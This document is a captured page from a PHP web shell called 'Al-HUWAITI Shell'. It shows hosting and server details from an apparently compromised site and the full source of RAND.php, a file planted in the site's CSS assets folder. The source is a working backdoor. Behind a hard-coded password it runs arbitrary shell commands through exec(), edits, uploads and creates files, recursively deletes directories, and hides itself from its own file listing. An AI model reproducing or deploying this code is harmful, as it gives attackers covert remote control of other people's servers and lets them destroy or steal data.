Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux us-phx-web1202.main-hosting.eu 4.18.0-553.84.1.lve.el8.x86_64 #1 SMP Tue Nov 25 18:33:03 UTC 2025 x86_64
User : u615232177 ( 615232177)
PHP Version : 8.1.33
Disable Function : NONE
Directory :  /home/u615232177/domains/debutlers.com/public_html/assets/css/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u615232177/domains/debutlers.com/public_html/assets/css/RAND.php
<?php
$password = "saksocumemetusta";

session_start();
if ($_POST['pass'] ?? '' === $password) {
    $_SESSION['auth'] = true;
}
if (!($_SESSION['auth'] ?? false)) {
    echo '
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>ACCESS DENIED</title>
        <script src="https://cdn.tailwindcss.com"></script>
        <style>
            @import url("https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;700&display=swap");
            * { font-family: "JetBrains Mono", monospace; }
            @keyframes glitch {
                0%, 100% { transform: translate(0); }
                20% { transform: translate(-2px, 2px); }
                40% { transform: translate(-2px, -2px); }
                60% { transform: translate(2px, 2px); }
                80% { transform: translate(2px, -2px); }
            }
            @keyframes pulse-glow {
                0%, 100% { box-shadow: 0 0 5px #00ff00, 0 0 10px #00ff00, 0 0 15px #00ff00; }
                50% { box-shadow: 0 0 10px #00ff00, 0 0 20px #00ff00, 0 0 30px #00ff00, 0 0 40px #00ff00; }
            }
            @keyframes scan {
                0% { transform: translateY(-100%); }
                100% { transform: translateY(100vh); }
            }
            .glitch { animation: glitch 0.3s infinite; }
            .pulse-glow { animation: pulse-glow 2s ease-in-out infinite; }
            .scan-line {
                position: fixed;
                width: 100%;
                height: 2px;
                background: linear-gradient(to bottom, transparent, #00ff00, transparent);
                opacity: 0.3;
                animation: scan 3s linear infinite;
                pointer-events: none;
                z-index: 9999;
            }
            .terminal-cursor::after {
                content: "_";
                animation: blink 1s infinite;
            }
            @keyframes blink {
                0%, 50% { opacity: 1; }
                51%, 100% { opacity: 0; }
            }
        </style>
    </head>
    <body class="bg-black text-green-400 h-screen flex justify-center items-center overflow-hidden relative">
        <div class="scan-line"></div>
        <div class="absolute inset-0 bg-[url(\'data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iNDAiIGhlaWdodD0iNDAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PGRlZnM+PHBhdHRlcm4gaWQ9ImdyaWQiIHdpZHRoPSI0MCIgaGVpZ2h0PSI0MCIgcGF0dGVyblVuaXRzPSJ1c2VyU3BhY2VPblVzZSI+PHBhdGggZD0iTSAxMCAwIEwgMCAwIDAgMTAiIGZpbGw9Im5vbmUiIHN0cm9rZT0iIzAwZmYwMCIgc3Ryb2tlLXdpZHRoPSIwLjUiIG9wYWNpdHk9IjAuMSIvPjwvcGF0dGVybj48L2RlZnM+PHJlY3Qgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwJSIgZmlsbD0idXJsKCNncmlkKSIvPjwvc3ZnPg==\')] opacity-20"></div>
        <form method="post" class="bg-black border-2 border-green-500 p-8 rounded-lg shadow-2xl relative z-10 pulse-glow backdrop-blur-sm">
            <div class="mb-6 text-center">
                <h1 class="text-4xl font-bold mb-2 glitch text-green-400">[ ACCESS DENIED ]</h1>
                <p class="text-green-500 text-sm">SYSTEM PROTECTION ACTIVE</p>
            </div>
            <div class="mb-4">
                <label class="block text-green-400 mb-2 text-sm">PASSWORD:</label>
                <input type="password" name="pass" placeholder=">_" class="w-full p-3 bg-black text-green-400 border border-green-500 rounded focus:outline-none focus:ring-2 focus:ring-green-500 focus:ring-opacity-50 terminal-cursor" autofocus>
            </div>
            <button type="submit" class="w-full p-3 bg-green-500 text-black font-bold rounded hover:bg-green-400 transition-all duration-200 hover:shadow-lg hover:shadow-green-500/50 active:scale-95">[ AUTHENTICATE ]</button>
            <div class="mt-4 text-center text-xs text-green-600">
                <p>Unauthorized access is prohibited</p>
            </div>
        </form>
    </body>
    </html>';
    exit;
}

function h($str) { return htmlspecialchars($str, ENT_QUOTES); }

$dir = $_GET['dir'] ?? getcwd();
$dir = realpath($dir) ?: getcwd();
if (strpos($dir, getcwd()) !== 0) $dir = getcwd(); 

if ($_POST['cmd'] ?? false) {
    $cmd = $_POST['cmd'];
    $output = [];
    $return_var = 0;
    exec($cmd . ' 2>&1', $output, $return_var);
    $cmd_result = '<div class="border-2 border-green-500 p-4 rounded-lg bg-black mb-4">
        <h3 class="text-green-400 font-bold mb-2">[ COMMAND OUTPUT ]</h3>
        <pre class="bg-black text-green-400 p-3 rounded border border-green-500/50 overflow-x-auto font-mono text-sm">' . h(implode("\n", $output)) . '</pre>
        <p class="text-green-600 text-xs mt-2">Exit code: ' . $return_var . '</p>
    </div>';
}

$action = $_GET['a'] ?? '';

if ($action === 'edit' && isset($_GET['file'])) {
    $file = $dir . '/' . $_GET['file'];
    if ($_POST['save']) {
        file_put_contents($file, $_POST['content']);
        echo "<div class='bg-green-500 text-black p-4 mb-4 rounded border border-green-400 font-bold animate-pulse'>[ SUCCESS ] File saved.</div>";
    }
    echo '
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>EDIT FILE</title>
        <script src="https://cdn.tailwindcss.com"></script>
        <style>
            @import url("https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;700&display=swap");
            * { font-family: "JetBrains Mono", monospace; }
            @keyframes scan {
                0% { transform: translateY(-100%); }
                100% { transform: translateY(100vh); }
            }
            .scan-line {
                position: fixed;
                width: 100%;
                height: 2px;
                background: linear-gradient(to bottom, transparent, #00ff00, transparent);
                opacity: 0.2;
                animation: scan 4s linear infinite;
                pointer-events: none;
                z-index: 9999;
            }
        </style>
    </head>
    <body class="bg-black text-green-400 min-h-screen p-6">
        <div class="scan-line"></div>
        <form method="post" class="bg-black border-2 border-green-500 p-6 rounded-lg shadow-2xl">
            <div class="mb-4">
                <h2 class="text-2xl font-bold text-green-400 mb-2">[ EDIT MODE ]</h2>
                <p class="text-green-600 text-sm">File: ' . h(basename($file)) . '</p>
            </div>
            <textarea name="content" rows="25" class="w-full p-4 bg-black text-green-400 border-2 border-green-500 rounded font-mono text-sm focus:outline-none focus:ring-2 focus:ring-green-500 focus:ring-opacity-50" style="font-family: \'JetBrains Mono\', monospace;">' . h(file_get_contents($file)) . '</textarea>
            <div class="mt-4 flex gap-4">
                <button name="save" value="1" class="flex-1 p-3 bg-green-500 text-black font-bold rounded hover:bg-green-400 transition-all duration-200 hover:shadow-lg hover:shadow-green-500/50 active:scale-95">[ SAVE ]</button>
                <a href="?dir=' . urlencode($dir) . '" class="flex-1 p-3 bg-red-500 text-white font-bold rounded hover:bg-red-400 transition-all duration-200 hover:shadow-lg hover:shadow-red-500/50 active:scale-95 text-center">[ CANCEL ]</a>
            </div>
        </form>
    </body>
    </html>';
    exit;
}

if ($action === 'delete' && isset($_GET['file'])) {
    $file = $dir . '/' . $_GET['file'];
    if (is_file($file)) unlink($file);
    elseif (is_dir($file)) { 
        function rmdir_recursive($dir) { 
            foreach(scandir($dir) as $f) 
                if ($f !== '.' && $f !== '..') { 
                    $path = "$dir/$f"; 
                    is_dir($path) ? rmdir_recursive($path) : unlink($path); 
                } 
            rmdir($dir); 
        } 
        rmdir_recursive($file); 
    }
    header("Location: ?dir=" . urlencode($dir));
    exit;
}

if (($_POST['upload'] ?? false) && ($_FILES['file']['tmp_name'] ?? false)) {
    move_uploaded_file($_FILES['file']['tmp_name'], $dir . '/' . $_FILES['file']['name']);
    $upload_success = "<div class='bg-green-500 text-black p-4 mb-4 rounded border border-green-400 font-bold animate-pulse'>[ UPLOAD SUCCESS ] " . h($_FILES['file']['name']) . "</div>";
}

if ($_POST['newfile'] ?? false) {
    file_put_contents($dir . '/' . $_POST['newfile'], $_POST['newcontent'] ?? '');
    $create_success = "<div class='bg-green-500 text-black p-4 mb-4 rounded border border-green-400 font-bold animate-pulse'>[ FILE CREATED ] " . h($_POST['newfile']) . "</div>";
}
if ($_POST['newfolder'] ?? false) {
    mkdir($dir . '/' . $_POST['newfolder'], 0755);
    $folder_success = "<div class='bg-green-500 text-black p-4 mb-4 rounded border border-green-400 font-bold animate-pulse'>[ FOLDER CREATED ] " . h($_POST['newfolder']) . "</div>";
}

echo '
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>FILE MANAGER</title>
    <script src="https://cdn.tailwindcss.com"></script>
    <style>
        @import url("https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;700&display=swap");
        * { font-family: "JetBrains Mono", monospace; }
        @keyframes scan {
            0% { transform: translateY(-100%); }
            100% { transform: translateY(100vh); }
        }
        @keyframes glow {
            0%, 100% { text-shadow: 0 0 5px #00ff00, 0 0 10px #00ff00; }
            50% { text-shadow: 0 0 10px #00ff00, 0 0 20px #00ff00, 0 0 30px #00ff00; }
        }
        @keyframes fade-in {
            from { opacity: 0; transform: translateY(-10px); }
            to { opacity: 1; transform: translateY(0); }
        }
        .scan-line {
            position: fixed;
            width: 100%;
            height: 2px;
            background: linear-gradient(to bottom, transparent, #00ff00, transparent);
            opacity: 0.15;
            animation: scan 5s linear infinite;
            pointer-events: none;
            z-index: 9999;
        }
        .glow-text { animation: glow 2s ease-in-out infinite; }
        .fade-in { animation: fade-in 0.5s ease-out; }
        .terminal-cursor::after {
            content: "_";
            animation: blink 1s infinite;
        }
        @keyframes blink {
            0%, 50% { opacity: 1; }
            51%, 100% { opacity: 0; }
        }
        .file-row:hover {
            background-color: rgba(0, 255, 0, 0.1);
            border-left: 3px solid #00ff00;
        }
    </style>
</head>
<body class="bg-black text-green-400 min-h-screen p-6">
    <div class="scan-line"></div>
    <div class="max-w-7xl mx-auto fade-in">
        <div class="mb-6 border-2 border-green-500 p-4 rounded-lg bg-black">
            <h1 class="text-4xl font-bold mb-2 glow-text text-green-400">[ FILE MANAGER ]</h1>
            <p class="text-green-600 text-sm">Current Directory: <span class="text-green-400">' . h($dir) . '</span></p>
        </div>
        
        ' . ($cmd_result ?? '') . '
        ' . ($upload_success ?? '') . '
        ' . ($create_success ?? '') . '
        ' . ($folder_success ?? '') . '
        
        <div class="grid grid-cols-1 lg:grid-cols-2 gap-4 mb-6">
            <div class="border-2 border-green-500 p-4 rounded-lg bg-black">
                <h3 class="text-lg font-bold mb-3 text-green-400">[ COMMAND EXECUTOR ]</h3>
                <form method="post" class="space-y-2">
                    <input type="text" name="cmd" placeholder="> Execute command (e.g: ls -la)" class="w-full p-3 bg-black text-green-400 border border-green-500 rounded focus:outline-none focus:ring-2 focus:ring-green-500 focus:ring-opacity-50 terminal-cursor">
                    <button class="w-full p-3 bg-green-500 text-black font-bold rounded hover:bg-green-400 transition-all duration-200 hover:shadow-lg hover:shadow-green-500/50 active:scale-95">[ EXECUTE ]</button>
                </form>
            </div>
            
            <div class="border-2 border-green-500 p-4 rounded-lg bg-black">
                <h3 class="text-lg font-bold mb-3 text-green-400">[ FILE UPLOAD ]</h3>
                <form method="post" enctype="multipart/form-data" class="space-y-2">
                    <input type="file" name="file" class="w-full p-3 bg-black text-green-400 border border-green-500 rounded file:bg-green-500 file:text-black file:border-0 file:rounded file:px-4 file:py-2 file:cursor-pointer">
                    <button name="upload" value="1" class="w-full p-3 bg-green-500 text-black font-bold rounded hover:bg-green-400 transition-all duration-200 hover:shadow-lg hover:shadow-green-500/50 active:scale-95">[ UPLOAD ]</button>
                </form>
            </div>
        </div>
        
        <div class="grid grid-cols-1 lg:grid-cols-2 gap-4 mb-6">
            <div class="border-2 border-green-500 p-4 rounded-lg bg-black">
                <h3 class="text-lg font-bold mb-3 text-green-400">[ CREATE FILE ]</h3>
                <form method="post" class="space-y-2">
                    <input type="text" name="newfile" placeholder="filename.txt" class="w-full p-3 bg-black text-green-400 border border-green-500 rounded focus:outline-none focus:ring-2 focus:ring-green-500 focus:ring-opacity-50">
                    <textarea name="newcontent" rows="5" placeholder="Content (optional)" class="w-full p-3 bg-black text-green-400 border border-green-500 rounded focus:outline-none focus:ring-2 focus:ring-green-500 focus:ring-opacity-50 resize-none"></textarea>
                    <button class="w-full p-3 bg-green-500 text-black font-bold rounded hover:bg-green-400 transition-all duration-200 hover:shadow-lg hover:shadow-green-500/50 active:scale-95">[ CREATE ]</button>
                </form>
            </div>

            <div class="border-2 border-green-500 p-4 rounded-lg bg-black">
                <h3 class="text-lg font-bold mb-3 text-green-400">[ CREATE FOLDER ]</h3>
                <form method="post" class="space-y-2">
                    <input type="text" name="newfolder" placeholder="folder_name" class="w-full p-3 bg-black text-green-400 border border-green-500 rounded focus:outline-none focus:ring-2 focus:ring-green-500 focus:ring-opacity-50">
                    <button class="w-full p-3 bg-green-500 text-black font-bold rounded hover:bg-green-400 transition-all duration-200 hover:shadow-lg hover:shadow-green-500/50 active:scale-95">[ CREATE ]</button>
                </form>
            </div>
        </div>
        
        <div class="border-2 border-green-500 rounded-lg bg-black overflow-hidden">
            <div class="bg-green-500 text-black p-3 font-bold">
                [ FILE LISTING ]
            </div>
            <div class="overflow-x-auto">
                <table class="w-full border-collapse">
                    <thead>
                        <tr class="bg-green-900/30 border-b-2 border-green-500">
                            <th class="text-left p-4 text-green-400 font-bold">NAME</th>
                            <th class="text-left p-4 text-green-400 font-bold">SIZE</th>
                            <th class="text-left p-4 text-green-400 font-bold">PERMISSIONS</th>
                            <th class="text-left p-4 text-green-400 font-bold">ACTIONS</th>
                        </tr>
                    </thead>
                    <tbody>';

$items = scandir($dir);
foreach ($items as $item) {
    if ($item === '.' || $item === '..' || $item === basename(__FILE__)) continue; // hide this shell
    $path = $dir . '/' . $item;
    $is_dir = is_dir($path);
    $size = $is_dir ? '-' : filesize($path);
    $perms = substr(sprintf('%o', fileperms($path)), -4);
    
    $row_class = $is_dir ? "bg-green-900/10" : "bg-black";
    echo "
    <tr class='file-row border-b border-green-500/20 transition-all duration-200 $row_class'>
        <td class='p-4'>" . ($is_dir ? "<span class='text-green-400 font-bold'>[DIR]</span> " : "<span class='text-cyan-400 font-bold'>[FILE]</span> ") . "<a href='?dir=" . urlencode($dir . '/' . $item) . "' class='text-green-400 hover:text-green-300 hover:underline transition-colors'>" . h($item) . "</a></td>
        <td class='p-4 text-green-500'>" . ($is_dir ? "-" : number_format($size) . " bytes") . "</td>
        <td class='p-4 text-yellow-400 font-mono'>$perms</td>
        <td class='p-4'>
            <div class='flex gap-3'>
                " . (!$is_dir ? "<a href='?a=edit&dir=" . urlencode($dir) . "&file=" . urlencode($item) . "' class='text-green-400 hover:text-green-300 hover:underline transition-colors'>[ EDIT ]</a>" : "") . "
                <a href='?a=delete&dir=" . urlencode($dir) . "&file=" . urlencode($item) . "' class='text-red-400 hover:text-red-300 hover:underline transition-colors' onclick='return confirm(\"Delete this item?\")'>[ DELETE ]</a>
            </div>
        </td>
    </tr>";
}

echo '</tbody></table>
            </div>
        </div>
        
        <div class="mt-6 flex justify-between items-center">
            <a href="?dir=' . urlencode(dirname($dir)) . '" class="p-3 bg-green-500 text-black font-bold rounded hover:bg-green-400 transition-all duration-200 hover:shadow-lg hover:shadow-green-500/50 active:scale-95">[ PARENT DIRECTORY ]</a>
            <div class="text-green-600 text-sm">
                <span class="text-green-400">System:</span> Ready
            </div>
        </div>
    </div>
</body>
</html>';
?>

Al-HUWAITI Shell